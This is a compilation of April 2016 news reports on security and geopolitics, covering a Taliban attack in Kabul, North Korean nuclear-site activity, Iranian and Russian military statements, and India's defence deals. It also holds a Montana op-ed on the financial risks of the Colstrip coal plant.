Afghanistan's national flag flew at "half-staff" in government offices and special prayers were offered in mosques across the country Friday to pay respects to the victims of this week's deadly Taliban attack in Kabul.

The bomb-and-gun assault of a well-guarded building linked to the intelligence agency, the National Directorate for Security, killed nearly 70 people, mostly security forces.

Another 347 people, many of them civilians, were wounded in the deadliest Taliban strike in the capital since the Islamist group was ousted from power in 2001.

The violence has outraged Afghans. Demands are growing for President Ashraf Ghani's government to abandon plans to engage in peace talks with the Taliban, and instead intensify military operations against the insurgents.

Haqqani network suspected

Authorities are increasingly pointing fingers at neighboring Pakistan, saying "initial evidence" suggested the Haqqani network carried out the attack.

Afghan and U.S. officials have long believed the militant network is based on Pakistani soil and has links to the country's intelligence agency, ISI.

"Any attack the Haqqani group conducts is not possible without Pakistan's help and this has been repeatedly proven in the last 14 years," a presidential spokesman, Dawa Khan Meenapal, told VOA on Friday.

President Ghani is also being criticized for seeking Pakistan's help in bringing fugitive Taliban leaders to the negotiating table.

"We have decided not to rely on Pakistan the way we did before the attack," a senior aide to President Ghani told VOA, saying Tuesday's attack was a "setback" for efforts to improve bilateral relations.

Peace efforts in doubt

The aide, requesting anonymity, said officials "don't believe Pakistan is genuine" in its resolve to help in the Afghan peace efforts.

He said the Taliban and Pakistani intelligence agency expected the insurgent group would make significant progress in the battlefield against Afghan security forces with the start of the so-called Taliban spring offensive.

"Unfortunately, Pakistani intelligence people were too enthusiastic about Taliban success prospects," he said, insisting the Kabul attack stemmed from frustration and setbacks the Islamist insurgency suffered since it launched fighting against Afghan forces on April 12.

The presidential aide anticipated more Taliban attacks across Afghanistan in the next few weeks in their bid to capture a province, but expected the insurgent group to announce its readiness for peace talks with the government by the end of May.

"They [the Taliban] will not be able to [make any advances in the fighting]. If the fighting goes as it is for another two to three weeks, Pakistan will step forward and say they have now convinced the Taliban to join talks," the Afghan adviser said.

Officials in Pakistan were not available immediately to comment on the Afghan assertions.

Pakistan condemned attack

Islamabad strongly condemned the Kabul attack hours after it happened. Thursday, Foreign Ministry spokesman Mohammad Nafees Zakaria reiterated his country's commitment to promote peace in Afghanistan.

"Pakistan has been engaged in sincere and consistent efforts to facilitate an Afghan-owned and Afghan-led peace process to bring lasting peace and stability in Afghanistan. We believe that violence and bloodshed is not the way to achieve peace," said Zakaria.

Pakistani leaders insist their counterterrorism gains are threatened if insecurity persists on the Afghan side of the border.

"We have contacted a few groups but no concrete result yet," a Pakistani security official told VOA when asked whether Pakistan is still making efforts to arrange direct talks between the Afghan government and Taliban.

"We are on it but no time frame can be given," the official said, requesting anonymity.

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Homeland Defense 'Sacred Responsibility,' Says Nominee to Head Northcom, NORAD

By Cheryl Pellerin DoD News, Defense Media Activity

WASHINGTON, April 21, 2016  "Defense of the homeland is a sacred responsibility and the No. 1 mission of the Department of Defense," Air Force Gen. Lori J. Robinson told a Senate panel today during her nomination hearing to become commander of U.S. Northern Command and North American Aerospace Defense Command.

Robinson, who now commands Pacific Air Forces and is air component commander for U.S. Pacific Command, testified before the Senate Armed Services Committee, noting that the United States faces a rapidly evolving and growing threat environment in terms of the number of those who wish to harm the nation and the complexity of tools at their disposal.

"Our country faces many challenging threats from within and abroad, ranging from threats such as home-grown violent extremist, cyberattacks [and] trafficking of drugs and other illicit products by transnational criminal organizations -- two threats posed by nation states such as Russia, North Korea and Iran," Robinson said.

"In my experiences as the Pacific Air Forces commander and the air component for [U.S. Pacific Command Commander Navy Adm. Harry] Harris," the general said, "I'm intimately aware of the tenuous situation on the [Korean] peninsula and throughout the region, and understand the potential threats posed to the security of our homeland."

Robinson told the panel that if confirmed she will work to uphold the faith that the American people have placed in Northcom and NORAD and to ensure that the commands remain vigilant and postured to outpace any potential threat.

If confirmed, Robinson said, she will continue to develop strong relationships with U.S. homeland partners, so the nation is prepared to provide defense support to federal, state and local authorities as requested when the American people need it.

The general added that she would further strengthen the outstanding U.S. friendship with Canada and help grow U.S. partnerships with Mexico and the Bahamas.

Last month, after President Barack Obama nominated Robinson to head Northcom and NORAD, Defense Secretary Ash Carter released a statement that said Robinson has excelled in an array of leadership positions where training, force structure and readiness are paramount.

"Her deep operational experience," the secretary added, "will enable the men and women of NORAD and Northcom continue building upon the excellence they have demonstrated under Adm. William Gortney's strong and steady leadership in this critical command."

If confirmed, Robinson will be the first woman to head one of the nine unified combatant commands.

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Mali Arrests Suspected Planner of Radisson Attack

by Dan Joseph April 22, 2016

Authorities in Mali have arrested a Mauritanian man suspected of planning multiple deadly assaults on Malian hotels last year.

VOA French to Africa reports that Fawaz Ould Ahmedia, also known as Ibrahim 10, was arrested late Thursday in the Malian capital, Bamako, by Malian intelligence services.

Reporter Kassim Traore says Ahmedia was allegedly preparing to launch a new attack Friday, and that his arrest may have prevented a tragedy.

Ahmedia is the suspected mastermind behind the assault on Bamako's upscale Radisson Blu hotel last November that killed 22 people.

French news agency AFP cites a security source as saying Ahmedia has confessed to planning an attack on a central Malian hotel that killed 13 people last August, and attacking a bar and restaurant in Bamako in March 2015, killing five people.

Mali has been fighting to contain Islamist militants since a 2012 coup allowed several groups to briefly gain control of the country's north.

Two regional groups, al-Qaida in the Islamic Maghreb and al-Mourabitoun, claimed responsibility for the attack on the Radisson. The same groups have since claimed responsibility for attacks on a hotel in Burkina Faso's capital and a beach resort in Ivory Coast.

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Ministry of Defense: China's test of intercontinental missile is normal scientific experiment

People's Daily Online

(People's Daily Online) 17:01, April 21, 2016

Responding to U.S. media reports alledging that China launched an intercontinental ballistic missile near the South China Sea on April 12, China's Ministry of Defense said on Thursday that China conducted regular scientific experiment as planned within its territories. The experiment did not target any country or target. "The media coverage on where China conducted the experiment is pure conjecture," the ministry added.

The Washington Free Beacon website, quoting unnamed Pentagon officials, reports that a DF-41  with a range of 12,000km  was launched on April 12, just ahead of US defence chief Ash Carter's regional visit.

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First library opened in Sansha in South China Sea

People's Daily Online

(Xinhua) 16:55, April 21, 2016

The first public library on China's southernmost island city of Sansha opened on Thursday in the city's only school.

The school, which opened in November last year, has 28 students of kindergarten and primary-school age and 10 teachers.

Established in July 2012, Sansha administers more than 200 islets, sandbanks and reefs in the Xisha, Zhongsha and Nansha island groups, as well as two million square km of surrounding waters in the South China Sea.

On Thursday, China Publishing Group Corp. inked an agreement with the city government of Sansha to build and manage the public library.

The agreement was signed on Yongxing Island, one of the Xisha islands and the city's administrative base. The publishing house donated 13,000 books worth 300,000 yuan (46,320 U.S. dollars) to the Yongxing School.

According to the agreement, the library is temporarily housed at the school, until the city government builds another venue.

Xiao Fang, president of Yongxing School, said life on the islands is still difficult because of a lack of facilities. People are also thirsty for good reading materials.

"The library will be a cultural bridge between the islands and the mainland," said Fan Xi'an, an executive of the publishing house.

The company also promised newly-published books would be added to the library's collection every year.

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China deploys 2,000 troops to North Korea border: Report

Iran Press TV

Thu Apr 21, 2016 11:6AM

China has deployed 2,000 troops along its border with North Korea, amid speculations that Pyongyang could be bracing for a fifth nuclear test, a report says.

Newsis News Agency in South Korea, citing the Information Center for Human Rights and Democracy (ICHRD), said on Wednesday that Beijing has dispatched 2,000 soldiers along its border with North Korea, adding that more Chinese military personnel have been stationed at major observation posts to act as lookouts 24 hours a day.

Some of the troops are responsible for measuring the radioactive material that could be emitted in the event of a North Korean nuclear test, the ICHRD said.

A US website monitoring North Korea said on Wednesday that satellite images show North Korea may have resumed tunnel excavation at its main nuclear test site, similar to activity seen before the country's most recent nuclear test in January.

"The presence of the two carts... and the absence of any notable changes in the spoil pile suggests that tunnel excavation operations are about to resume, or have recently resumed, for the first time this year," the report by 38 North said.

The report said the images also showed limited movement of vehicles and equipment at the site's North Portal, where the past three North Korean nuclear tests took place.

"These activities by themselves do not establish that test preparations are imminent. However, the possibility of an impending test cannot be ruled out," the report added.

"Pyongyang has clearly demonstrated, with its fourth nuclear detonation this past January, the ability to conduct detonations on short notice while masking indicators of its preparations from satellite view," it said.

In January, China reportedly sent 3,000 soldiers to its northeastern region after Pyongyang announced a "successful" hydrogen bomb test.

North Korea declared itself a nuclear power in 2005 and carried out four nuclear weapons tests  in 2006, 2009, 2013 and 2016. It also launched a long-range rocket February this year, which Pyongyang said was aimed at placing an earth observation satellite into orbit. However, the US and South Korea denounced the move as a cover for an intercontinental ballistic missile test.

North Korea says it is strengthening its defense capabilities to protect itself against hostile countries, including the US.

The East Asian country has been targeted with international sanctions over its nuclear and missile activities. Back in March, the United Nations Security Council unanimously approved the toughest sanctions on Pyongyang in two decades.

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I served as a Montana Public Service Commissioner from 1977-1984 and again from 2003-2006. Ive dealt with utilities, energy systems, financial and environmental costs and risks, and consumer protection issues in Montana and the West for four decades.

I am deeply concerned about the rash of proposals and political posturing regarding the future of Colstrip, particularly the suggestion that NorthWestern Energy purchase a larger share of the Colstrip generation plant. Such a proposal is absolutely heading in the wrong direction. There are enormous economic and environmental risks associated with these coal-fired plants, especially Colstrip Units 1 and 2. NorthWesterns purchase of any additional share of the Colstrip plant could expose Montana ratepayers and taxpayers to unacceptable risks.

There is no question that change is under way for coal mining, and the coal-fired power plants at Colstrip. The market for coal-fired electricity is dwindling as the four utilities and their customers on the West Coast, who own and buy about two-thirds of Colstrips power, move toward cleaner energy. Recently enacted laws and regulatory actions in Washington and Oregon effectively direct these utilities to stop using Colstrip electricity within 15 years to reduce carbon emissions and to mitigate ongoing remediation costs and economic risks.

The costs of competitive fuels and energy sources, including natural gas and renewable energy such as wind and solar, have fallen significantly in recent years. Coal mining and coal-fired electricity generation continue to experience declining production, bankruptcies and plant closures throughout the nation.

Remediation costs

The market is determining Colstrips fate. Concerns about the economic, public health, and environmental impacts of climate change are helping to drive the market.

Colstrips economic and environmental risks are well documented, and numerous red flags have been raised, including in three independent reports by NorthWestern, the Washington Utilities and Transportation Commission, and UBS, an international financial firm,.

The WUTC found that environmental remediation and decommissioning costs for Colstrip Units 1 and 2 would be between $134 million and $195 million. The report also said that these costs would increase the longer the plant stays open. If NorthWestern purchased those units, it would assume those obligations and that hefty price tag could be shouldered by Montana ratepayers and taxpayers.

Over the past three years, Talen Energy, which operates the Colstrip plant and owns 50 percent of Colstrip Units 1 & 2 and 30 percent of Unit 3, has lowered the carrying value of its interest in Colstrip by a staggering 87 percent. This means that its share of Colstrip Units 1, 2, and 3 has no real value. UBS, an international financial firm, issued a report on March 7 in which it called Colstrip a money-losing asset for Talen.

$340 million liability

In 2013 NorthWestern determined that purchasing any portion of Colstrip would be a risky investment. When it purchased the hydroelectric dams from PPL, its analysis showed that also purchasing PPLs share of the Colstrip plant would be a huge liability. At that time, NorthWestern assigned a negative $340 million value to PPLs coal plants and a negative $127 million value to Colstrip Units 1 and 2 specifically. Therefore, it is likely that NorthWestern would only consider buying an additional interest in Colstrip if the Montana taxpayers and ratepayers subsidize the significant financial and environmental liabilities. That scenario would be disastrous and unacceptable.

Montanans should be working on prudent Montana-specific energy solutions. Planning a different energy future will take time and resources. Considerable progress was being made to develop reasonable clean energy alternatives in Montana prior to the unprecedented action of the U.S. Supreme Court in staying the U.S. Environmental Protection Agencys Clean Power Plan. The delay has sidetracked productive efforts, and produced a rash of half-baked ideas and political theater from political candidates of both parties.

Montana communities, taxpayers and electric customers deserve  and must demand  better from our leaders. Consumers and taxpayers need to be protected from unnecessary financial risk. The state of Montana must facilitate the process and assure that:

The workers and the community of Colstrip obtain focused attention, increased certainty, reasoned support and replacement opportunities.

NorthWestern and other transmission owners perform comprehensive resource and transmission planning studies for the 15-year horizon.

Colstrip generation owners perform detailed studies of necessary remediation requirements, costs, schedule, and provide adequate bonding and financial guarantees.

Fair access is provided to regional markets for Montanas renewable energy by repurposing the Colstrip transmission capacity.

Montana has a responsibility and an extraordinary opportunity to develop a better, smarter energy future. We must demand that our elected leaders do so. We must not squander this once-in-a-lifetime opportunity.
China mulls stronger military relations with Afghanistan

Iran Press TV

Thu Apr 21, 2016 9:38AM

China says it wants to forge strong military ties with Afghanistan which is under a US-led occupation.

Beijing is willing to "deepen counter-terrorism intelligence, joint drills, personnel training and other areas of practical cooperation," China's Defense Ministry said late on Wednesday.

The remarks were made by Fang Fenghui, a member of the powerful Central Military Commission which controls China's armed forces, in his meeting with Afghan president's national security adviser Mohammad Hanif Atmar in Beijing.

The US-led mission ceased combat operations in Afghanistan at the end of 2014, and has withdrawn most of its forces. China says it does not seek to fill a void left by their withdrawal.

But, it has promised to play a "huge" commercial role in helping rebuild the country, where the Taliban seek to re-establish their regime.

China's vice president last year pledged infrastructure and security support for Afghanistan, signing several deals during a rare high-level Chinese visit to Kabul.

The official Xinhua news agency said Atmar also met China's domestic security chief Meng Jianzhu and discussed counter-terrorism.

Meng stressed the need for closer Sino-Afghan cooperation so as to jointly safeguard the security and stability of the two countries and the region, it said.

Atmar, for his part, said Afghanistan attaches great importance to enhanced ties with China, and is interested in having greater cooperation in law enforcement.

China's willingness to expand military cooperation with Afghanistan comes at a time when the Taliban militant group has announced the start of its annual spring offensive against Afghan security forces and US-led foreign forces.

China is working with Pakistan and the US to broker peace talks to end the Taliban insurgency that has raged for 15 years in Afghanistan, but last month the militants refused to take part.

Beijing is worried about the prospect of militants from its restive far western region of Xinjiang getting support from the Taliban and other groups in Afghanistan, Pakistan and central Asia.

China is equally nervous about the US establishing a foothold on its borders which has found traction as part of President Barack Obama's "strategic pivot."

Under the plan, the US is reorienting significant elements of its foreign policy towards the Asia Pacific region and encouraging many of its partners outside the region to do the same.

US policymakers believe the lion's share of the political and economic history of the 21st century will be written in the Asia-Pacific region.

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North Korea Resumes Excavation at Punggye-ri Nuclear Test Site

Sputnik News

03:07 21.04.2016

A satellite imagery released by the 38 North monitoring website shows that North Korea is resuming excavation operations at the Punggye-ri nuclear test site.

MOSCOW (Sputnik)  North Korea is resuming excavation operations at the Punggye-ri nuclear test site, satellite imagery released by the 38 North monitoring website shows.

"New commercial satellite imagery of North Korea's Punggye-ri nuclear test site from April 19 shows limited vehicle and equipment activity at the North Portal and Main Support Area as well as indications of resumed excavation operations at the West Portal. These activities by themselves do not establish that test preparations are imminent. However, the possibility of an impending test cannot be ruled out," 38 North said in a Wednesday report.

The April 19 imagery accompanying the 38 North report shows a trailer or vehicle outside the entrance to the North Portal, which is the site of the past three nuclear tests conducted by North Korea.

"The truck's exact purpose remains unclear although it is worth noting that its location is similar to the spot where one, possibly two vehicles and personnel were observed three days prior to the February 12, 2013 nuclear test," 38 North said.

According to the monitory website, satellite imagery shows that tunnel excavation operations at the site are about to resume, or have already resumed for the first time this year.

"Excavation operations can be undertaken concurrently with preparations for a nuclear test, as was the case during the run-up to this January's detonation. Such a concurrent activity could be part of the North's camouflage, concealment and deception procedures for the facility," 38 North explained.

Last week, the monitoring website released satellite imagery of new developments at the Yongbyon Nuclear Scientific Research Center suggesting that North Korea could be producing more plutonium for nuclear weapons.

North Korea declared itself a nuclear power in 2005. The United States, Japan and South Korea, as well as Russia and China, took part in talks with North Korea on the denuclearization of the Korean peninsula between 2003 and 2009, when Pyongyang withdrew from the talks.

On January 6 Pyongyang claimed it had successfully tested a hydrogen bomb. The United Nations previously imposed sanctions on North Korea for three tests it carried out in 2006, 2009 and 2013.

Pyongyang's January hydrogen bomb test, as well as the launch, a month later, of a long-range rocket to allegedly place a satellite into orbit, in defiance of UN Security Council (UNSC) resolutions, led to more sanctions having been imposed on North Korea by the UNSC and the United States.

The 38 North website is maintained by the US-Korea Institute at Johns Hopkins University's Paul H. Nitze School of Advanced International Studies. The blog, authored by its faculty and by guest commentators, analyzes various reporting on North Korea.

 Sputnik

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Spare No Expense: Indian Navy Set to Boost Maritime Preparedness

Sputnik News

20:42 21.04.2016(updated 20:44 21.04.2016)

Raising serious concern over India's current state of maritime preparedness, the Indian Navy has nudged the Government to increase expenditure on strengthening its fleet of ships submarines and aircraft. This opens immense opportunities for foreign defense firms to collaborate with Indian manufacturers in equipping the Indian Navy.

Sputnik (New Delhi)  The Indian Navy's second in command, Vice Admiral P. Murugesan has said that India will be able to establish robust maritime security only when the Navy is equipped with at least 50 more ships and submarines and increases the current availability of helicopters and aircraft by 3-4 times.

"Threat does not see the budget. While the threat is growing steadily, the budget (for defense procurement) is growing slowly," Murugesan said.

Vice Admiral Murugesan's statement is being viewed as immensely significant as it came just ahead of the Naval Commanders' Conference that got underway in the capital city New Delhi today. According to a statement of the Indian Defense Ministry, "the conference will primarily focus on reviewing the combat readiness and operational preparedness of the Navy including coastal security, to address the dynamic security challenges in the Indian Ocean Region."

Currently, India has 138 submarines and ships. Another 46 ships are under construction at different dockyards within the country. According to Defense Ministry sources, half of the ships, currently operational, are going to be retired soon. Even if we add the under-construction ships to the current strength, the number will be far less that what is actually required. To meet the requirement of ships alone, Indian Navy will require a fund of more than $20 billion.

The Indian Army is also facing a serious crunch of helicopters and aircraft.

"Today there are 233 aircraft in the Indian navy. Ideally, this should increase by 3-4 times. Once we reach there, then only will we be able to make sure a robust maritime security mechanism has been established," according to Vice Admiral Murugesan.

A. K. Gupta, Secretary, Department of Defense Production, says that from 2014 till date, procurement proposals of naval ships and equipment worth approximately $30.1 billion have been approved by the authorities. However, 88 percent of the proposed procurements are to be made through indigenous vendors according to the new Defense Procurement Policy.

Though the Indian Navy relies on indigenous vendors for most of its needs, in the most expensive weapons category, indigenization is less than 30 percent as Indian vendors currently lack the capacity to independently design, develop and produce such weapons. Therefore, they will have to collaborate with foreign Original Equipment Manufacturers. This has opened the gates for foreign weapons manufacturers to mint handsome money by entering into collaborations with Indian firms.

 Sputnik

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India Pushes For Faster Border Rapprochement with China

Sputnik News

20:18 21.04.2016(updated 20:20 21.04.2016)

India is aggressively pursuing a resolution of the border conflict with China. In fact, in a strategic shift India conveyed to China recently that solving the border problem is a priority to maintain cordial and smooth relations between the two countries.

Indian National Security Advisor Ajit Doval held the 19th round of Border Talks with his Chinese counterpart Yang Jiechi, Chinese State Councilor in China.

After the talks, both sides agreed to adhere to peaceful negotiations to settle boundary questions and to make efforts to reach a fair, reasonable and mutually acceptable solution.

For the first time, India is putting more much effort to solve the border issue with China. Earlier the Indian establishment was banking on the strategy that the border problems would be solved over time, improving along with economic and political relations with China, according to sources in the Defense Ministry.

Hence, National Security Adviser Ajit Doval's recent visit to China was very important in the sense that it marked a paradigm shift in India's strategy towards China.

According to the top sources in the Defense Ministry, during his meetings with his Chinese counterpart Ajit Doval conveyed that peace and tranquility along the border was a prerequisite to maintain a smooth and cordial relationship between the two countries. Frequent transgressions along the border would be a deterrent and in the long run would also impact bilateral, economic and political relations. India has also stressed that until the border problem was finalized both sides should maintain the status-quo.

In fact, India wants to speed up the process of the "Special Representative Talks" to reach an amicable solution to the border problem. The last 18 rounds of talks between the Special Representatives of both countries have not been particularly fruitful hence, India wants the border talks to become more focused and move in the direction of finding a solution to the boundary problem.

However, security experts do not sound very optimistic with China's approach and asserted that China is still sticking to its old strategy despite India's proactive approach.

"The first thing is that China has said that it has no border with India in Jammu and Kashmir. This means they still treat the area of Aksai Chin as disputed territory. There is no change in Chinese policy, they don't want to disturb the peace and tranquility of the border but simultaneously they will keep showing their assertiveness along the border," Major Gen (Rtd) Afsir Karim told Sputnik.

 Sputnik

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India-France Deal on Rafale Jets on Final Lap  Defense Minister

Sputnik News

11:19 21.04.2016

India and France still need to iron out some differences before they sign a long-awaited deal on Rafale fighter jets, Indian Defense Minister Manohar Parrikar said Thursday.

NEW DELHI (Sputnik)  The countries have been in talks on Rafales since 2012 but disagreements on the pricing and India's demands for additional guarantees have hindered the signing.

"From our side Rafale deal is quite in an advanced stage, still few points [remain] which we have to discuss," Parrikar said, adding the military hoped to close the deal "very soon."

The agreement should also be cleared by the government's Defense Acquisition Council and approved by the cabinet, he added during a press event at the Naval Commander's Conference in New Delhi.

"I can't say that negotiations are totally cleared until we signed the deal. Or at least the deal is forwarded to cabinet for approval," Parrikar admitted.

In January 2016, India and France signed an intergovernmental agreement on the purchase of the 36 Rafale fighter jets. The deal is reportedly worth $8.8 billion.

 Sputnik

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Larijani underlines positive influence of S-300 delivery to Iran

IRNA - Islamic Republic News Agency

Moscow, April 21, IRNA - Majlis (Iranian Parliament) Speaker Ali Larijani underlined the importance of the delivery of the S-300 air defense missile system on the regional developments.

'Taking delivery of these air defense systems will put positive effects on the security conditions of the region,' Larijani said in an interview with the Russian-language ITAR-Tass news agency in the Russian capital on Thursday.

'As regards the contract on deliverhy of S-300 air defense systems it should be saidf that this issue was the topic of defense talks between Iran and Russia,' he added.

'We believe that if Iran and Russia could reach long-term agreements, this could result in sustainable security and the delivery of S-300 to Iran is part of this theory.'

Larijani pointed to delay in delivery of S-300 to Iran, and said that Russian President Vladimir Putin took the needed decision and the air defense system was delivered to Iran which positively influences the conditions of the reigon.

2050**2050

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Kerry, Zarif to discuss US sanctions relief for Iran: Kirby

Iran Press TV

Thu Apr 21, 2016 8:20PM

US Secretary of State John Kerry and Iranian Foreign Minister Mohammad Javad Zarif will discuss American sanctions relief during their meeting in New York on Friday amid Tehran's complaints that Washington is not honoring its end of last year's historic nuclear agreement, the US State Department has said.

Iran and the P5+1 group -- the United States, Britain, France, China, Russia and Germany  reached a conclusion on the Joint Comprehensive Plan of Action (JCPOA) on July 14, 2015 in the Austrian capital of Vienna following two years of negotiations over Tehran's nuclear program.

Under the Vienna deal, Iran agreed to put some restrictions on its nuclear energy program in exchange for relief from economic sanctions that had been imposed on the Islamic Republic based on the unfounded accusation that Tehran is pursuing non-civilian objectives in its nuclear program.

Top Iranian officials have said that the United States is not honoring its end of the nuclear accord. Zarif said on Monday he would urge Washington to "seriously" live up to its side of the deal and stop interfering in Iran's banking and financial ties with other states.

US State Department spokesman John Kirby told reporters at his daily briefing on Thursday that US sanctions relief will be on the agenda when Kerry and Zarif meet on Friday, their second meeting this week.

"I fully expect that they will continue to talk about the sanctions relief process and the degree to which banks, foreign and domestic, as well as institutions, foreign and domestic, are evaluating their options under the JCPOA," he said.

The two officials will address "the degree to which they have before them a sufficient level of understanding to make decisions with respect to sanctions relief," he added.

However, Kirby played down expectations that the talks would yield any concrete proposals, adding that representatives of the US Treasury Department would not participate in the meeting.

Kerry acknowledged on Monday that Iran has so far received only about five percent of its frozen assets since it reached the historic nuclear agreement with the P5+1 group of countries.

Iran has reaped just $3 billion out of a total of over $100 billion in previously frozen assets, Kerry said, adding that Tehran will get about $55 billion in the long run, under the nuclear deal.

Iran has criticized the US for refusing to grant it access to the global financial system. Tehran says such access is one of the goals of the nuclear deal, and has urged Washington to stop preventing non-American banks from dealing with Iran.

Kirby denied that the US is trying to prevent Western banks and corporations from doing business with with Iran.

"We certainly are not trying to become an obstacle in any way of foreign banks and institutions working with Iran through the sanctions relief process and doing legitimate business with Iran," he said.

"We believe we are working hard to try to explain what the obligations are, what the responsibilities are and what the opportunities are for foreign institutions and banks under the JCPOA," he stated.

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Iran slams US Supreme Court ruling as money theft

Iran Press TV

Thu Apr 21, 2016 4:5PM

Iran has strongly condemned a ruling by the US Supreme Court granting some two billion dollars in frozen Iranian assets to the families of victims of a 1983 bombing in Beirut, saying it violates international law.

The US Supreme Court on Wednesday ruled that almost $2bn in frozen Iranian assets must be turned over to American families of people killed in the 1983 bombing of a US Marine Corps barracks in the Lebanese capital of Beirut and other attacks blamed on Iran.

The assets belong to the Central Bank of Iran (CBI), which has been blocked under US sanctions.

"The ruling has mocked [international] law," Iranian Foreign Ministry spokesman Hossein Jaberi Ansari said on Thursday, adding, It "amounts to appropriation of the Islamic Republic of Iran's property" in the US.

Jaberi Ansari noted that the US government should compensate for any damages inflicted on Iran as a result of the ruling.

He further warned that such moves increase the distrust between Tehran and Washington.

In 2012, the US Congress passed a law that specifically directed the US-based Citibank to turn over the Iranian assets to families of victims of the Beirut bombing.

Iran argues that Congress is intruding into the business of federal courts over the case. Tehran has long rejected allegations of involvement in the 1983 Beirut bombing.

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Iran to severely punish aggressors: Senior commander

Iran Press TV

Thu Apr 21, 2016 3:7PM

A senior commander has expressed Iran's readiness to counter all threats with full force, stressing that the Army's Ground Forces will severely punish aggressors.

Commander of the Iranian Army's Ground Forces Brigadier General Ahmad Reza Pourdastan made the remark in a meeting with foreign military attaches in Tehran on Wednesday.

The Iranian Army's Ground Forces, who possess modern and domestically-manufactured conventional weapons, stand ready to counter new emerging threats, firmly repel any act of aggression against the country and severely punish aggressors, Pourdastan said.

The commander, however, stressed that the country's military might serves defensive and deterrent purposes and will be employed only when necessary.

While Tehran is against bullying powers and the aggressors violating human rights, it pursues a policy to maintain friendly relations with neighbors and boost cooperation with other countries as well, he added.

In recent years, Iran has made great achievements in its defense sector and reached self-sufficiency in producing essential military equipment and systems.

The Islamic Republic has repeatedly assured other nations, especially regional neighbors, that its military might poses no threat to other countries, stating that its defense doctrine is merely based on deterrence.

Elsewhere in his remarks, Pourdastan warned against rising terrorism and extremism, describing them as a threat to the entire world.

"If today they (terrorism and extremism) are not curbed in Syria, Iraq, Yemen, Libya, Afghanistan, Nigeria and other countries, they will spread to other states from the Central Asia to Europe and the US as well," he said.

The commander added that terrorist groups have now come to haunt their supporters, stressing all those who played a role in nurturing Takfiri terrorists in different countries have realized that these groups have gotten out of control and now pose a threat to their creators and sponsors as well as other countries.

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Bombings, shooting leave 8 dead, 28 wounded in, around Baghdad

Iran Press TV

Thu Apr 21, 2016 9:49PM

At least eight people have been killed and more than two dozen others injured in a series of bomb explosions and a shooting attack at residential neighborhoods in and around the Iraqi capital, Baghdad.

A security source, speaking on condition of anonymity, said two people lost their lives and eight others sustained injuries when an improvised explosive device went off close to a popular cafe in the town of Madain, about 20 kilometers (14 miles) southeast of Baghdad, on Thursday, Arabic-language al-Baghdadia satellite television network reported.

Unidentified armed men also fatally shot a civilian in the Nabuk neighborhood of eastern Baghdad.

Elsewhere in the capital's southeastern neighborhood of Nahrawan, two civilians were killed and seven others injured when a bomb blast ripped through a commercial district.

A civilian also died and eight others were injured when an improvised explosive device detonated near an outdoor market in the al-Bakriyah neighborhood of western Baghdad.

Additionally, two fighters from the Popular Mobilization Units lost their lives and five others suffered injuries when a roadside bomb exploded in the city of Latifiyah, situated about 30 kilometers (20 miles) south of Baghdad.

The United Nations Assistance Mission for Iraq says a total of 1,119 Iraqis were killed and another 1,561 wounded in acts of terrorism, violence and armed conflict in March.

According to the UN mission, the number of civilian fatalities stood at 575. Violence also claimed the lives of 544 members of the Iraqi security forces. A great portion of the fatalities was recorded in Baghdad, where 259 civilians were killed.

The northern and western parts of Iraq have been plagued by violence ever since Daesh Takfiri militants began their march through the Iraqi territory in June 2014.

Army soldiers and Popular Mobilization Units have joined forces and are seeking to take back militant-held regions in joint operations.

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Military will respond to intimidation: Russia NATO envoy

Iran Press TV

Wed Apr 20, 2016 8:56PM

The Russian military will respond with "all necessary measures" to incidents of "intimidation" such as the US naval destroyer that recently sailed close to Russia's border.

"This is about attempts to exercise military pressure on Russia," said Russia's NATO Ambassador Alexander Grushko during the first meeting between the military alliance and Russia since relations soured over the crisis in Ukraine two years ago.

"We will take all necessary measures, precautions, to compensate for these attempts to use military force," he added.

On April 11, the US guided-missile destroyer USS Cook sailed close to a Russian naval base in the Baltic, an action which resulted in the scrambling of the Russian aircraft that buzzed the ship.

"After detecting the ship within their visibility range, the Russian pilots diverted from it with all safety precautions," Russian Defense Ministry spokesman Igor Konashenkov said on April 14.

During the meeting, US Ambassador to NATO Douglas Lute described the passes as unsafe and unprofessional, claiming that the destroyer was on routine business in international waters when the incident occurred.

Russia and NATO have been locked in a deepening dispute. The military alliance accuses Russia of backing militias in eastern Ukraine. Moscow denies the allegation and argues that the Western military alliance is using the situation to move closer to its borders.

'No business as usual' for NATO-Russia ties

"There were profound disagreements related to the crisis with Ukraine. Today's meeting did not change that," said NATO Secretary General Jens Stoltenberg after the meeting.

"We have suspended practical cooperation between NATO and Russia, but we all agree that it is in all our interest to keep channels for political dialogue open. However, this does not mean that we are back to business as usual," he added.

According to the United Nations, over 9,000 people have lost their lives and some 20,000 have been injured in the Ukraine conflict since April 2014.

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Europe's Tatars Resist Being Represented By Moscow Proxy Group

April 22, 2016

by Robert Coalson and Nail Khisamiev

The banner of the European Alliance of Tatars (ATA), an array of yellow stars on a field of blue, resembles the symbolism of the European Union. But the organization, which purports to be an umbrella group for ethnic Tatar communities in European countries, is really just a group of pro-Moscow individuals.

The ATA is a project of the Russian government, one of many being created under the "Russian World" rubric to boost the Kremlin's soft power in Europe. The Foreign Ministry has established a Foundation for Supporting and Protecting the Rights of Compatriots Abroad to implement this initiative, working in close cooperation with Rossotrudnichestvo, the Russian government aid agency that is tasked with "forming a positive image of Russia abroad."

"The people from the alliance are trying to sit in two chairs at once," says Adas Jakubauskas, head of the Union of Tatar Organizations in Lithuania. "They are registered in Brussels, but the money comes from the foundation for compatriots of Russia."

Earlier this month, the ATA -- or Auropa Tatarlari Alyansi -- held its fourth-annual "expanded meeting" in the Czech city of Brno.

The main guests at the Brno forum -- aside from around 40 self-proclaimed representatives of Tatar communities -- were Aleksandr Budayev, Russia's consul-general in Brno; Nikolai Barabanov, an official of the Russian Foreign Ministry's department for compatriot affairs; Oleg Solodukhin, deputy head of the Rossotrudnichestvo office in the Czech Republic; and Vyacheslav Yelagin, an adviser to the Foreign Ministry's compatriots foundation.

The meeting's final resolution profusely thanks the Russian Embassy and Rossotrudnichestvo, the Russian government aid agency that is tasked with "forming a positive image of Russia abroad."

The resolution's fourth point states: "We understand clearly that the successful conduct of all our European enterprises would be much more difficult without the organizational, informational, and financial support of the Foreign Ministry's Department for Working With Compatriots Abroad."

'Not Our Organization'

"That is why we are not on the same path with them," Jakubauskas of the Lithuanian Tatar community adds. "We advise members of Tatar communities not to participate in the work of the Alliance of European Tatars. It is not our organization."

Jerzy Shakhunevich, head of the Tatar Cultural Center in Poland, agrees.

